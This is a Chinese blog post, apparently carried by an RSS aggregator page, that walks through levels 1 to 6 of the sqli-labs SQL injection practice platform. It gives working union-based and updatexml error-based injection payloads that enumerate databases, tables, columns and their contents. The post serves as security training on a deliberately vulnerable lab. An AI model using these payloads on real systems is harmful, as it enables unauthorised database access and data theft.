惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

B
Blog RSS Feed
B
Blog
N
Netflix TechBlog - Medium
量子位
月光博客
月光博客
博客园_首页
博客园 - Franky
酷 壳 – CoolShell
酷 壳 – CoolShell
Last Week in AI
Last Week in AI
T
The Blog of Author Tim Ferriss
Hugging Face - Blog
Hugging Face - Blog
雷峰网
雷峰网
M
MIT News - Artificial intelligence
J
Java Code Geeks
大猫的无限游戏
大猫的无限游戏
D
DataBreaches.Net
腾讯CDC
Engineering at Meta
Engineering at Meta
云风的 BLOG
云风的 BLOG
L
LangChain Blog
GbyAI
GbyAI
IT之家
IT之家
Y
Y Combinator Blog
人人都是产品经理
人人都是产品经理

Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 记一次 JS 逆向密码加密 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本
sqli-labs SQL注入漏洞通关记录
2021-03-12 · via Hi, I Am I

sqli-labs 是一个专业的SQL注入练习平台

下载地址:https://github.com/Audi-1/sqli-labs

写在前面

# 查询字段数
order by  1,2,3....
# 查询当前表名
database()
# 查询所有库名
group_concat(schema_name) from information_schema.schemata
# 查询所有表名
group_concat(table_name) from information_schema.tables where table_schema='库名'
# 查询所有字段
group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
# 查询所有字段内容
group_concat(字段名) from 库名.表名

第1关

输入 ?id=1' 页面报错,在后面加入 --+ 后回显正常 判断为单引号字符型注入。

image-20210311185338585 image-20210311185428803

使用 order by 获取字段数,输入 order by 4 报错,判断字段名为 3 个。

image-20210311185631530

接着进行联合注入,通过回显爆出表名,列名,字段,用户名和密码

# 注意id要传一个不存在的值

# 查询库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

# 查询表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+

# 查询字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' --+

# 查询字段内容
?id=-1' union select 1,2,group_concat(字段名) from 库名.表名 --+

第2关

数字型注入

?id=-1 union select 1,2,语句

第3关

单引号括号注入

?id=-1') union select 1,2,语句 --+

第4关

双引号括号注入

?id=-1") union select 1,2,语句--+

第5关

利用 updataxml 函数进行报错注入

  • 其中 0x7eascii 编码,解码为 ~
  • updatexml() 是更新目标xml文档的函数
  • updatexml() 语法:update(目标xml文档,xml路径,更新内容)
# 查询当前库的表 记得修改limit
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1);--+

# 查询库内字段
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='库名' limit 0,1),0x7e),1);--+

# 查询字段内容
?id=1' and updatexml(1,concat(0x7e,(select 字段名 from 库名.表名 limit 0,1),0x7e),1);--+

第6关

将上一关的 单引号 改成 双引号 即可